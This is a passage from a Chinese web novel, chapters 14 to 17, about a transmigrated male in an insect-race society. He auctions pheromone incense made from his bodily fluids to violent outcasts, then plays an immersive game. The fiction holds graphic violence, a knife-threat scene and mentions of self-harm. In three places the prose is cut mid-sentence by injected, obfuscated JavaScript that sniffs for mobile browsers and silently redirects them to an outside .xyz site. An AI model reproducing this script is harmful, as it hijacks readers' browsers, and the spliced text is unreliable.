过了好半响,店内蓦地爆发出膨胀的音浪。暴徒们死死盯着吧台内的索玛,已经有雌虫下意识往前迈步,又被半虫化的巴拉太用尾部强行逼了回去。 “安静,各位。”索玛开口:“我来这里,是要和大家做交易的。” 他的话出奇有效,暴徒们互相看看,逐渐静了下来。吞咽口水的声音和心跳声在这时候似乎都变得清晰,索玛伸出手,从衣袍里勾出了一枚香薰挂件。 里面荧蓝色的溶液在昏暗的光线下显得幽深又神秘,里面的固化剂像颗失去瞳孔的眼球,沉落在底部,隔着玻璃物无声地注视着所有暴徒。 “我要出售这枚香薰,大家都知道它的名字,冷火。” “从现在开始,价高者得。” 14. 第 14 章 索玛手里拿着的,是乌舍在等待何家兄弟考虑期间,以汗液为原材料自己制作的香薰,信息素的香气似有若无飘散,撩动暴徒们的神经。 忽然有雌虫喊道:“隔着这么远,我可闻不出来!你怎么证明这就是冷火?” 这句话引起一阵骚动,索玛看了他一眼,没理会对方脸上的挑衅,不紧不慢地拧开了香薰盖子。 他目光掠过桌面,随手抽出了支羽毛笔,反向将羽毛插入香薰,细长的羽毛尖端触及莹蓝色的溶液。随后,索玛便将这支笔抛了出去。 如同鱼饵入湖,正对羽毛笔落下方向的雌虫高高仰头,耸动鼻尖;周围的雌虫伸长胳膊,倾身飞扑;更边缘的雌虫干脆展开缩小版的虫翅,飞掠抢夺。 除此之外,还有干脆翅膀一扇,直接奔向索玛的。 陈林火红的前肢和巴拉太长满满尖刺的尾部构成第一道防线,拦下蜂拥而来的大批雌虫,泰诺斯粗壮锋利的黄蜂尾针将越过吧台的雌虫钉死在地面,索玛单手虫化,钳住袭来的雌虫脖颈,将他重重摁在了酒柜上。 香薰摇晃,细微的信息素气息与浓重的血腥味混合成毁灭惨烈的狂欢。吧台外,钢笔已然折断,墨水四溅,笔尖被不知名的雌虫踏碎。沾染着香薰溶液的羽毛在一双双手中流转,绒毛在半空飘散,直到一个雌虫双眼通红地将整支羽毛含进口中生生咽下——在他被开膛破肚前泰诺斯用蜂针挑起地上雌虫的尸体扔向虫群,索玛扬声说“够了”,这场暴力闹剧才堪堪停下。 一个个暴徒转过脸来,目光幽幽地锁定索玛手中的香薰,吞下羽毛的雌虫激动得身体微微发抖,索玛和他们眼神对视,毫不留情地拧断了被压在酒柜上的雌虫的脖颈。 颈骨断裂的声响清晰传进暴徒们的耳朵,他松手,抢夺香薰失败的雌虫尸体顺着酒柜滑下,砸落在地面上。 “现在。”索玛环顾一圈,扣上了香薰的盖子,说:“开始报价,40万英吉起拍。” 先前乌舍出手香薰的价格只是这场拍卖的起拍价,前面的香薰更像一颗探路石,为他探明了市场,炒高了信息素热度。 也因此,这场秘密拍卖会在一开始,就引爆了暴徒们的热情。 “50万!” “55万!” “60万!” “我出72万!” 报价声络绎不绝,吞下羽毛的雌虫用嘶哑的嗓音喊出“80万”后室内有几秒钟的沉默,但更快又有红了眼的雌虫继续抬价。一直到价格升上100万,报价的速度才停滞下来。 101万......103万......104万...... “104万,还有更高的吗?” 索玛把香薰放在吧台上,容器底部和桌面撞出低低的声响。 这声闷响仿佛砸在雌虫们的心里,又有雌虫报价110万。 “110万一次,110万两次,110万三次。” 索玛静等片刻,终于道:“成交!它是你的了!” 喊出110万报价的雌虫处于脑混乱中期,眼球的红血丝密集鲜艳,高度兴奋状态下血丝凸起,让他看起来更为可怖。 没能得到香薰的暴徒们的眼神潮水般汇聚过来,虫群开始缓慢地朝他靠近,雌虫感受到了危机,身体肌肉紧绷。 泰诺斯操控烟酒店的大门打开,但没有暴徒离开。索玛扬手示意,那个雌虫飞跃到吧台内,跟着索玛进入地板下的地道。大理石板重新合拢那刻,虫群骤然暴起冲向吧台,这回泰诺斯他们没有阻拦,而是迅速四散开来,免得被波及。 大理石板里加入了混合材料,硬度堪比军工用料,虫群一时破坏不了,焦躁地发出尖锐的嗡鸣。 等了几分钟,估算着索玛和拍下香薰的雌虫已经从地道另一个出口离开,泰诺斯适时出声。 “别着急,伙计们。”蜂翅振动,他浮在半空,朝下方的暴徒们露出一个笑容:“十五天后,我们还有下一场拍卖会。” 110万英吉转到了乌舍的账户上,乌舍从中拨出四十万作为索玛和泰诺斯几个的劳动报酬,却被拒收。 索玛转达了泰诺斯几个的想法:原本说了会给他们更好的......收了钱,那个所谓“更好”的东西,他们还能得到吗? 乌舍似笑非笑地看着索玛:“你也是这个想法?” 索玛温驯地俯首,半跪在他身前,张口叼住了他的指尖。 他离开的时候,乌舍让他带走了滴着自己血液的三张试纸,试纸上覆盖着薄薄一层薄膜。以虫族的技术水平,保湿薄膜能维持试纸24小时的湿润,虽然不可避免会有小部分血液被试纸吸收。 乌舍原本的想法是给三滴血让索玛带走,但考虑到这容易把雌虫的胃口养大,且索玛是否真的能把血液带到他们手中存疑,就只给了沾染血液的试纸。 “你已经拿到报酬了。”乌舍掐着索玛的脸蛋,左右晃了晃:“别盯着其他雌虫的东西,嗯?” 索玛垂眼望着他,将试纸收进口袋:“......为您效劳。” 给出报酬后,乌舍没有收回那四十万,他要索玛他们用这笔钱去加固烟酒店。毕竟第二场拍卖会得到消息的雌虫只会更多,过量的暴徒会引发混乱,械斗一触即发,维持拍卖场地的安全是必要开支。 筹备第二场拍卖会的这段时间,何冬塞手下的香薰加工链也投入了生产,由专业技术员把关,取自雄虫身上的原材料得到了最大利用——何冬塞也在真正参与这件事后,反而放松下来。 由于历来的社会教育和基因本能,他对利用并贩卖雄虫信息素这件事存在高度抵触,这是一桩未知的、邪恶的、可怖的的生意。但当他亲眼目睹乌舍带着何慈林运动,乌舍的运动相比起来要更剧烈,甚至能够熟练地做出格斗动作,而对于病弱的何慈林来说,只是在正午阳光最好的时候在院子里走上两圈,搬搬装在花盆里的花种,就已经满头大汗。 当两个雄虫身上流淌的汗液被装进试管,经过他手就成了致富的金钱。 没有强迫、虐待或者残害,何冬塞捍卫雄虫身上一丝一毫的决心悄然瓦解了大半,胞弟泛红的双颊和乌舍跑完步后微哑的喘息在他脑中回放,他想起乌舍曾经对自己说过的话:就算是雄虫,擦去汗水后的纸巾也只是待扔的垃圾而已。 ......这只能算是,废物利用。 然而,在他自己逐渐放宽心、一无所知之中,乌舍对何慈林进行了更像是兄长的管教。 这个雄虫的胃口比他亲哥哥大得多,且有着大部分雄虫都有的通病,娇纵任性、好逸恶劳。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357318|152783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当乌舍告诉他,先前他交出的血液并不能比汗液更有用,制作不出价值更高的香薰后,何慈林果断放弃了这个想法。但每次为了出汗累得气喘吁吁时,他又忍不住思量,也许还是直接往自己手指上划一刀来得痛快。 只割一点点,不怎么痛,还不会累。 他把这个想法告诉乌舍,乌舍没有立刻表态,而是取了把小刀,在地球的时候他自残过许多次,完全了解怎样会给自己的身体带来更剧烈的痛苦。 面对面,他握着何慈林的手,并没有像对方想的那样只在指腹轻轻地划一刀,而是温柔地说:“睁眼。” 刚准备闭眼的何慈林下意识睁开眼睛。 然后他就看见刀尖沿着指侧更为脆弱的皮肉斜进了他指甲盖的边缘,乌舍并不很用力,锋利的小刀没有深入肌理,只是划破了一层皮肉。因此只渗出了几颗鲜红的血珠,疼痛却十足强烈。 “唔!” 何慈林痛呼出声,眼中立刻泛出生理泪水。 他原本给乌舍血液的时候,是背着何冬塞,以孤注一掷的心态做的,对疼痛的忍耐度更高。如今乌舍主动帮他,他被对方握着手,注视着对方乌黑的眉眼,交付信赖,没想到却被耍了。 盯着自己不再流血却斯斯作痛的伤口,他火冒三丈,尖锐的质问脱口而出“你干什么——” 下一刻却直接被刀尖抵住了喉咙。 何慈林顷刻噤声,喉结滑滚,隐约间似乎感受到刀尖的触感,像对方散发的信息素一样冰冷锋利。 他脸上的怒意逐渐转化成不敢置信,乌舍身体前倾凑近他,与此同时刀刃也缓慢下压,于是他的表情又变得恐惧,嘴唇微微颤抖起来。 “你想要血的话......”乌舍的嗓音在他耳边响起,“从这里下手会有更多。” 何慈林说话的动作很小:“我、我不需要这么多。” 乌舍笑了一声,他偏头,极近距离下何慈林看见他黝黑的眼睛,深沉得像无星的夜,覆盖下来,包裹住自己恐惧的视线。 “但只要你开了头,需要的就会越来越多。” “就算你自己能控制住,假使有一天暴露出香薰的原材料是雄虫的血......” 乌舍收回小刀,用刀面拍了拍他的脸颊:“有成千上万的雌虫等着,你迟早会变成一具干尸,明白吗?” 何慈林死死盯着他,半晌,仿佛终于明白他在说什么。低低抽了口气后蜷起指尖,小声地说:“知道了。” 乌舍单手拍了拍他的脑袋,揉乱雄虫发丝的时候微微出神。 他本来有个设想,带着何慈林一起,发动这片住宅区可发动的雄虫都加入这桩生意。 原因之一是法不责众,当所有E级都是共谋,事发后被严惩的概率就小。之二是放逐区陷入脑混乱的雌虫太多,光凭他和何慈林根本供不上市场需求。在初始狂揽一笔财富后,他想把“售卖违禁品的小作坊”变成“生产供于雌虫自我抚慰的生活用品”,把加工-售卖链条正规化,扩大产量,降低价格。 但何慈林让他认识到,雄虫远比他想象的更容易堕落。除非他有足够的人力物力做靠背,建立起类似地球上的有偿.献血站这种机构,否则不要妄图加大供应量。 现在还不是时候。 15. 第 15 章 索玛没有辜负乌舍的信任,把报酬完完整整地带了回去——他毕竟已经得到更好的了。 泰诺斯几个在接到试纸的时候没反应过来,直到陈林在索玛冷漠的视线里揭开试纸上的薄膜,小心翼翼地舔了一下。 残余的血珠沾上舌头,比香薰更浓郁得多的冷火的气息在口腔爆开,他霎时怔愣在原地。 直到冰凉的气息在舌尖退尽,他才猛地反应过来,将整个试纸含进口腔,缩着上颚用力吮吸。属于雄虫的信息素随着吞咽动作笼罩五脏六腑,他仿佛置身于火山口,却感觉不到温度,万物被焚烧的余烬拂过他的面颊,让他陷入暴徒化后时刻作痛的大脑有了片刻的安宁。 不是缓解,不是减轻,是在这短暂的几分钟内,真真切切免去了附骨之疽般的疼痛。 等他回神,口中的试纸已然被唾液泡软,他抓起薄膜连带试纸一起咽下,从胸腔深处发出一声长长的、惬意的叹息。 见他模样,泰诺斯、巴拉太纷纷效仿,将试纸放进嘴里。一时间屋内充满了雌虫压抑不住的嘶吼、呻.吟,索玛抱臂旁观,直到雄虫血液的效用过去,熟悉的疼痛重新席卷大脑,巴拉太甚至掉下了眼泪。 “你们要知道,自己已经是幸运儿。”索玛说:“托那位阁下的福,我们不再是有一日过一日的行尸走肉,在死亡之前,我们获得过虫神的拥抱。” 短暂的寂静过后,三道沙哑的声音不分前后响起:“——为阁下效劳。” 在放逐区召开的第二场拍卖会比第一场要更严酷残暴得多,更多的暴徒收到消息,而场地容纳量有限,一场只放出50个入场名额。 超过50个,即使场地能容纳,光凭索玛他们四个也不能保证维持拍卖秩序、全身而退。 拍卖当日加固过的大门只开启四分之一,顶多只容三个雌虫并肩而行。一但50个名额放满,大门就会关闭锁死,因此在烟酒店门口就发生了极其残忍的斗殴。 在开门之前,陈林已经蹲在房顶,用扩音器宣告了他们还会有第三场拍卖会——一些脑子清醒的暴徒意识到,索玛和泰诺斯他们已经达成合作,手中掌握的香薰也许远远比他们想象中的多。 较有克制力、不急于一时,又或者单纯没那么钱,实力不足的暴徒们得到消息后实际上已经放弃了去争抢前几场拍卖会的名额,否则烟酒店门口的血会流得更多。 第二场拍卖会,源于乌舍信息素气味的“冷火”以119万英吉的价格成交。 第三场拍卖会,源于何慈林信息素气味的“太阳花”以95万英吉的价格成交。 第四场拍卖会,“冷火”和“太阳花”同时放出,以288万英吉的价格成交。 第五场拍卖会,两支“太阳花”同时放出...... 每场拍卖会间隔半个月以上,每个月泰诺斯的烟酒店会举行1-2场拍卖,香薰生意化为吸金漩涡,以一个不可思议的速度给乌舍狂揽了大笔财富。 同时受益的还有何家兄弟,乌舍提供售卖渠道,何冬塞提供生产链,他们的分账方式从最初的五五分账,转变成各自拥有“冷火”和“太阳花”的拍卖所得。接着乌舍提出“太阳花”出售所得要交一成给自己作为手续费,毕竟乌舍没有他们也可以制作出香薰,而何家兄弟却不能失去安全的出售渠道。 乌舍曾经是天才画家,也算得上是个成功的生意人。最开始由开珠宝公司的父母为他打造和经营画廊,把控每一幅画作的卖出,等他过了16岁,就逐渐把这些事项交给他。在乌舍没有发病的时候,他能把一切都打理得很好。 最初五五分账是为了吸引何家兄弟入伙,在他们加入后,乌舍本来提出要两成的手续费。何冬塞倒是没什么异议,作为真正在外打拼过的雌虫,他眼里这种生意简直就是白捡钱。暴利让他不怎么心安,反而是增加的“成本”才符合逻辑。 但对何慈林来说并非如此,他血液里流淌着雄虫的傲慢,觉得乌舍坐地起价太过贪婪。先前他已亲近乌舍不少,这段关系随着手续费的要求冷却,他按着兄长不要马上答应,悄悄观察着乌舍的反应。 乌舍却毫无反应。 何慈林十足气馁,尝过甜头的他不可能放弃这笔生意,最终还是拉着脸去找了乌舍。在这次见面中,乌舍忽然松口,给他们降低了一成手续费,作为交换他们需要负责——其实也就是何冬塞来负责——自己的三餐。 两成手续费变一成,只是要让乌舍一起吃饭而已,还未成年的何慈林又觉得他大方了。原本的埋怨情绪轻易散去,又别扭地和他亲密起来。 乌舍并未在意他的态度,或者说目前为止事情的发展都在他意料之中。他每个月给索玛一滴血,给泰索斯他们三张滴着血珠的试纸,持续的信息素供给换来几名雌虫的忠诚,由此为他带来巨额财富。吃饭的花销由何家兄弟包揽,他现在开支只有出门逛街买些小玩意儿,以及画具的钱。 虽然他截止今日为止只能算是在糟蹋颜料,并没有成功画出过一副完整的画。 再一次大汗淋漓地从画室出来,乌舍疲惫地进浴室泡澡。 温热的水流没过身躯,乌舍长舒一口气。绘画对他来讲绝不仅仅是生意或者退路,已经成为一种接近本能的习惯。因此就算暂时不缺钱花,他也总是每天定时去画室,对着空白的画纸折磨自己几个小时。 三个月过去,乌舍的的五官蜕变得更为明显,已经和他原本的相貌有七分相似。有了高额收入的何冬塞在供养弟弟这件事上非常认真,每日食材都是利都能买到的最有益雄虫发育的东西,连带的,在他们那吃饭的乌舍也得到了食补。 他的头发、眉毛,都光滑明亮,即使在倦怠中,一双黑色的眼睛都含着幽深的光泽,仿佛某种潜藏海底亟待探寻的密宝。 与此同时,他左肩处这具身体生来带着的虫纹越加淡化,到现在只留一片模糊的影,几乎已经看不清了。其中一个鲜艳的红点越发清晰,位置与他前世肩膀上的红痣分毫不差。 乌舍洗过澡,披了件浴衣就出门,房子里没有其他人,他在去客厅的路上才系好腰带,松松垮垮地敞露出胸膛。 A13跟在他身后,矜矜业业地为脆弱的主人调节室温。 乌舍问:“现在我的账户上有多少钱?” A13一键查询,用平板的电子音夸张道:“您目前已经拥有820万英吉了!天呐!您可真了不起!” 乌舍笑了声,停下来用脚踢了踢它:“了不起?你知道我是怎么赚到的吗?” A13诚实地回答:“不知道,您是去泡了很多雌虫伴侣吗?” 乌舍意味不明地扫了它一眼,没说话。A13作为机器人并不尴尬,继续道:“我就知道您一定很受欢迎!您有想买的东西吗,我可以推荐哦!” “推荐?”乌舍被勾起兴趣,“你能推荐什么?” 仿佛感受到被看不起,A13的电子音短促地响了两声,大概是冷哼的意思。随即就从掌心里投出光屏,上面显示了一列长长的雄虫热门购物榜单。 乌舍随手左滑,后面还有回购榜、精荐榜之类的。 这一看就是商家为了诱导消费排的榜单,不过左右有钱,乌舍还是饶有兴致地看了起来。 几个榜单虽然不完全重合,但商品类型大差不差。排名最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357319|152783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高的几样都是有利于雄虫精神力发育或者恢复的物品,接着就是一些华而不实的首饰、摆件,几款限量版私人飞行器,私人星舰,热门游戏……甚至还有看起来过于狂放的计生用品。 说是计生用品,长得更像刑具。虫族比地球开放得多,就这样大咧咧展示在页面上,还附有文字解说和AI虫像模拟。 乌舍想起来他曾经撞见过邻居雄虫往自己的伴侣背上摆烛台,这是他第一次直面以伴侣模式相处的雄雌关系。之后他虽然也在商贸区碰见过带着雌虫的雄虫,也零星遇见过几个邻居,但都没有那次这么夸张。 似乎雄虫光天化日之下,有兴趣对雌虫施加这种……情.趣的,并不多见。 A13见他的视线停留,作出很懂的样子说:“我们阁下也已经到这种年龄了呢!” 乌舍太阳穴跳了跳,冷酷地说了句“不”,便转开视线。 他目前为止出行都是乘坐公共交通,但几乎所有雄虫都有自己的私人飞行器,就连何冬塞,为了何慈林以个位数记的出行也买了一架,就停在他们的院子里。 飞行器对虫族社会来说是低科技产物,和汽车一样早已实现了量产,虫族日常就有地上和空中交通,因此汽车与飞行器屡见不鲜,售价也差不多。只要不是知名品牌的豪华款,售价在20万英吉到70万英吉之间。 这种普通飞行器只能用于星球内航行,跨星球的话需要购买专用于宇宙航行的星舰,星舰的价格昂贵得多,千万起步。 手续也更复杂,飞行器只需要购买者拥有驾驶证B证,B证非常容易就能申请,只要知道机身结构,认识各种按键,会起飞、急刹和转弯就行。因为所有品牌的飞行器都具有自动驾驶功能,可以自主设定航线,有一定的智能避障能力。即使真遇到突发情况,也可以实现应急降落。 而星舰虽然和飞行器的一应功能相差无几,但却需要驾驶者有A证,或者拥有出厂就配发A证的专业驾驶机器人。毕竟太空环境比星球内部要复杂得多,相对要求就比较严格。 星球与星球之间也有通关手续,飞往另一个星球前需要向当地政府发送申请,审批过后政府会将出行者的信息提交给目的地星球政府,签发电子通行令,之后才能启航。 不过虫族星球居民之间流动性大,政府对此没有刻意管控,更多只是形式上的流程,只要申请基本都会被通过。 看了更庞大、更复杂、设计更精妙的星舰,再看飞行器就差点意思。乌舍生出一些购买欲,但现在钱还不够,他便将一款银灰交错,售价一千两百万英吉的星舰加入了A13的购物单。 A13适时发出一声:“老板大气!” 接着,乌舍又浏览起了游戏,既然动了要买星舰的念头,而A13又不是专业驾驶机器人,那他免不了要去考个证。 实话说,在地球,乌舍连电瓶车都没有骑过。毕竟他精神状态并不稳定,盲目开车害人害己。不过现在星球都换了,除了他一个活人之外到处都是虫子,那就没什么所谓。 顶多就是给宇宙增加点太空垃圾。 乌舍兴致勃勃,选了一款纯图刺激的赛车游戏,又选了款A证的驾驶类教学游戏,在A13的推荐下,还附带买了款这几年很流行的大型社交类游戏《星球野望》。加起来总共500英吉,乌舍直接买下了,他的终端实时到账了几张虚拟卡。 政府配给的房子自带游戏舱,他和A13一起来到游戏室,A13启动游戏舱开关,用虚拟卡在感应区扫描,指示灯变绿,舱门自动打开。 A13指着窄小的舱体,贴心提示:“小阁下,您可以躺进去了。” 16. 第 16 章 乌舍躺进游戏舱后,舱门便自动合上,舱内的灯带亮起微弱的蓝光,让整个舱体不至于陷入完全的黑暗。 他躺下时头顶抵住一个半圆形的软罩,类似三分之一个头盔的构造。从这个罩子中自动伸出几条触须似的电线,顶端连接着接驳器,吸附到他的太阳穴、颅骨上。 乌舍不由闭上眼睛,微量的电流滑过后,他感受到意识脱离了身体。经过短暂的眩晕,眼前由黑转亮,他已经置身一个方型空间,面前是菜单界面。 包括【开始游戏】【场景选择】【难度等级】【退出游戏】几个按键,这种界面设置和地球的游戏相差不多,乌舍这次玩的是赛车游戏,他没什么犹豫就选择了【盘山公路-困难】模式,下一瞬间就来到了逼真的山谷。 这个虚拟山谷和实地毫无区别,植被繁茂,树叶在风吹过时发出窸窣的摩擦声响。山谷内部随意停放着许多车辆,不同样式和型号。乌舍逛了一圈,随意挑了辆车坐进去,完全拟真的车辆内部冒出几个气泡,标注着“方向盘”“刹车阀”等部件名称。 乌舍发动车辆后,这些气泡就消失了,他横冲直撞地把车开出原地,由于没有驾驶经验,刚开出两米就在躲避前方歪斜着停放的车时,猛地偏转车头撞到了右侧的另一辆车,直接撞爆了一个车灯。 一声沉闷的重响,乌舍心脏微抽,紧接着爆发出愉快的情绪。他跌跌撞撞开出山谷,停车点和盘山公路间隔着一道敞着门的铁栅栏。乌舍没能对准大门,冲出去时碰到了铁栅栏,这下干脆撞坏了一个车胎。 乌舍并没有因此换车,踩下油门继续冲了出去,结果仅剩的三个轮胎吃不住力,整辆车身因惯性在公路上打转。他控制不住方向盘,却没松开踩刹车的脚,车辆急转后撞开公路护栏冲出山路,汽车悬空重重砸下,在山崖底部炸出明亮的火光。 游戏里没有痛感,但声音、光线和触感都与真实无异。乌舍亲眼目睹火光冲天而起,车辆爆炸四分五裂,身体和座椅挤压撞击。他脸上肌肉抽动,视野忽然变黑,随即人已经站在了山谷内的起始点。 他缓慢回神,盯着前方看了一会儿,接着俯下身发出低低的笑声。笑声越来越大,最后几乎响彻整个山谷。 “啊。”乌舍抬头,用手擦去了笑出的眼泪,平静地喃喃道:“真是痛快。” 接下来一个小时,乌舍在赛车游戏里暴毙五次,最后检测装置报警,游戏自动结束运行。A13把他从舱内挖出来,乌舍额头冷汗遍布,面色苍白,第一次使用游戏舱的不适以及高强度的游戏刺激带来的疲惫同时涌上,让他生出恶心、脱力的反应。 A13将他扶到沙发上,用湿毛巾给他擦去脸上的汗水,又端来果汁和甜点。乌舍补充了水分和糖,休息片刻,身体逐渐缓了过来。 面对他的虚弱,A13只以为是首次使用游戏舱的适应反应,忍不住忧愁地叹息:“阁下。您的身体真是太弱了,以后一定要找一个能好好照顾你的伴侣才行!” 乌舍笑了两声:“游戏挺刺激的。” A13真诚发问:“赛车真的那么刺激吗?我没有玩过,您的成绩是多少?” 乌舍动作一顿:“你不知道我在游戏里的情况吗?” A13回答:“不知道呀。全息游戏是基于游戏公司搭建的平台网络以及您的大脑,构建的沉浸式独立场景,我是介入不了的。” 乌舍意味不明地看了它一眼:“原来如此。” 休息过后,乌舍又体验了一下星舰驾驶教学游戏,接着就进入了《星球野望》。 《星球野望》是一个大型综合类社交游戏,它由新手村-家园-荒地-交易区-竞技场,以及各类等级不同大大小小的副本组成。 玩家在新手村通过完成任务刷熟练度,将自己的等级提升到20级以后,就可以开始做一些低等级的副本,也能加入公会,跟着大佬蹭高级副本。《星球野望》的副本并不都是竞技性的,还有些风景浪漫,适合谈恋爱、养老的慢节奏副本。 同理,玩家根据自己的需求,也不一定要下副本。有些玩家出了新手村之后就着手建设家园和荒地,开始走种田流,有些甚至连新手村都不出。 不过由于虫族这种生物的性格特征,这种养老型玩法相对少数,大部分玩家都在攻占副本、刷记录,尤其是一些刚下战场亟需发泄的雌虫,在副本中的玩法非常残暴。 乌舍进入游戏后,通过游戏舱扫描,画面上显示出了他的全身建模,他可以手动更改。同时还有三种性别可以选:雌虫,亚雌,雄虫。 他懒得重塑五官,直接就在脸上手绘了一朵放肆盛开的玫瑰花。鲜红的花瓣差不多覆盖了他的半张脸,让他左侧的容貌变得不甚清晰。 乌舍又选了亚雌作为性别,一切完成,点击确认后他就以建模的姿态出现在了新手村里。全息游戏在实景方面的体验极佳,比起赛车游戏中单调的风景,这里显然热闹得多。 他原地站了会儿,大约是呆头呆脑的新手特征太明显,没多久就有一个头顶20等级的亚雌来找他主动搭话。 对方的名字是罗西亚:“你好,你是新手吧。有兴趣加入公会吗?福利多多哦!” 乌舍的名字改成了原身的姓氏,冥。他回复:“介绍一下。” 罗西亚招人的话术已经很熟练了,立刻道:“我们的公会叫‘游猎’,一共有300名成员。你别看规模好像不大,但是我们公会也有两个巅峰级的大佬,本身都是军雌。大师玩家也很多,下副本有保障的。” “我们公会的氛围很和谐,有些公会压榨新手,拿新手试副本,甚至从新手身上骗东西。我们主打一个互帮互助,老玩家可以帮新手顺利度过新手村和初级副本的衔接阶段。你看怎么样?” 《星球野望》玩家等级一共160级,每20级为一个分水岭。游戏级别为小白-初级猎手-中级猎手-高级猎手-大师猎手-超凡猎手-神赋猎手-巅峰猎手。 乌舍购买游戏时粗略地看过简介和下载界面附带的新手攻略,这个游戏新手和初级阶段比较好升级, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357320|152783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之后难度会大幅度递增,巅峰猎手相当于满级,基本都是开服就在的元老玩家。 他没有马上回复罗西亚,点开菜单界面的“排行榜”看了看。 《星野》是以星球分区的,他进的是利都区,排行榜是区内排名。有个人榜和公会榜,乌舍跳过个人榜,直接浏览公会榜。一口气拉了三页都没看见“游猎”的名字,一直到第五页的末尾才看到。 罗西亚好像意识到他在干什么,赶紧说:“你在看公会排名吗?排行榜靠前的都是以猎杀BOSS升级,刷副本很凶残的。而且我们虽然公会排名靠后,但我们公会里的两个大佬都在个人榜前十!” 闻言,乌舍这才将目光调转回个人榜,个人榜前十基本都是巅峰高手。根据罗西亚的介绍,“游猎”的两个大佬一个叫钨,一个叫科琳纳,分别在榜三和榜五。 罗西亚问:“怎么样,我们公会还是有实力的。” 乌舍思索片刻:“可以。” 罗西亚对他的加入很高兴,拉着他完成简单的入会手续后,直接给他赠送了一个背包,说是新手福利。还带着他转了转新手村几个重要的点位,带着他把等级刷到了5级。 时间过去三个小时,乌舍下线前,罗西亚给他发了公会的定位,并把他拉进了公会的群聊。 罗西亚还不准备下线,他要留在新手村,继续给公会寻找新鲜血液。 他交代乌舍:“明天晚上8点,公会要给这一阵新加入的玩家举行欢迎仪式,让大家熟悉熟悉新人。你有空的话记得上线,直接点我给你发的定位,可以传送的。” 乌舍点头,他看了眼公会群聊,罗西亚在里面介绍完他之后,其他老玩家已经刷起了一列“欢迎新人”。 他在群聊里回了句“谢谢”,随即打开了个人主页。 全息游戏仍保留着依靠面板查阅游戏角色各项数值的设计,乌舍点击个人简介,没有犹豫就在上面敲下了一句话。 ——经营香薰店铺,有购买意向者可加好友。 改完个人简介,他退出了游戏,身体经过第一次的适应后不再对游戏舱产生不良反应,他整体状态良好。 现在是晚上时间9点,对于地球人乌舍来说还太早了。放逐区那边的生意链稳定后,何冬塞在商贸区内圈的香薰店已经重新开业,他一般是从早上9点经营到晚上11点,中午休息两个小时。乌舍想了想,决定去他的店里逛逛。 商贸区作为利都独立的一个区,占地面积庞大,乌舍至今没有把它逛透。这跟他总是选择步行也有关系,更多雄虫会选择开着商贸区提供的小型代步车逛街。 在站点下车,乌舍进入商贸区外圈,晚上这里依旧灯火通明,各色摊贩招揽顾客的声音此起彼伏。 他没打算在外圈多停留,直直朝着通向内圈的入口走。却在离入口还有五分钟路程左右的必经之路上被虫群堵住去路,眼前看热闹的亚雌和雌虫形成了个包围圈,压低的议论声里隐隐传来哭声和哀求。 乌舍缓缓皱起眉毛。 17. 第 17 章 因为虫群挡着入口,乌舍不得不得往前走去。 挡在前面看热闹的雌虫注意到了他,愣了下后赶紧退开,让出位置。其他被挤到的雌虫或者亚雌,本来还在骂骂咧咧,转头看清情况后也立刻噤声。 乌舍就这样无遮无挡地走到了包围圈的最前方。 圈内,是一个跪着的雌虫,一个暴怒中的雄虫,和一个看起来只有人类3、4岁大的幼崽。 那个雄虫看起来很年轻,瘦削又阴沉,在乌舍的记忆中,他见过的每一个雄虫都体型偏瘦。明明在这个社会受着最好的供养,却少有大腹便便的存在,气场也如一的阴郁、傲慢。何慈林在其中已经算是活泼开朗的。 不过这个雄虫看起来还比较健康。 雌虫的状态就差得多,他体型比雄虫健壮,但露出来的脸和一双手都有伤。最重要的是他伛偻着肩背,原本平坦的腹部呈现圆滑的隆起,此刻正一只手护着肚子,一只手捂着唇部,断断续续呕出血来。 他沉默着,没有泪水也没有表情,麻木地盯着地面。 倒是旁边的幼崽不住哭叫,跌跌撞撞地跑去抱住雄虫的腿,叫他“爸爸”。被一脚踢开后,又扑上去拦着他,周而复始。 乌舍并没有把注意力放在这个孩子身上,而是盯着那个雌虫。他最初没有反应过来对方腹部的凸起是什么,直到听到周围的议论声,才明白过来他是怀孕了。 乌舍一怔,心头不由自主涌起异样的情绪。 地球上的男性不会怀孕,现在眼前拥有所有男性特征,甚至各项性征都非常明显的雌虫,肚皮隆起,正在经历孕期——他曾经尝试用血液引诱索玛虫化,但是失败了。这是乌舍首次在新世界目睹虫族与地球人的不同,如此直观。他探寻过这种差异,但直到真正见到后才发现,比起猎奇心被满足的愉快,传统思维定势被颠覆的不适感更强。 怪诞,违和,甚至恶心。 不仅针对这个怀孕的雌虫,更多的是乌舍头一次这样清晰而彻底地认识到,自己身边的这些“人”实际上是一群虫子,是和他不一样的、完完全全的另外一种生物。 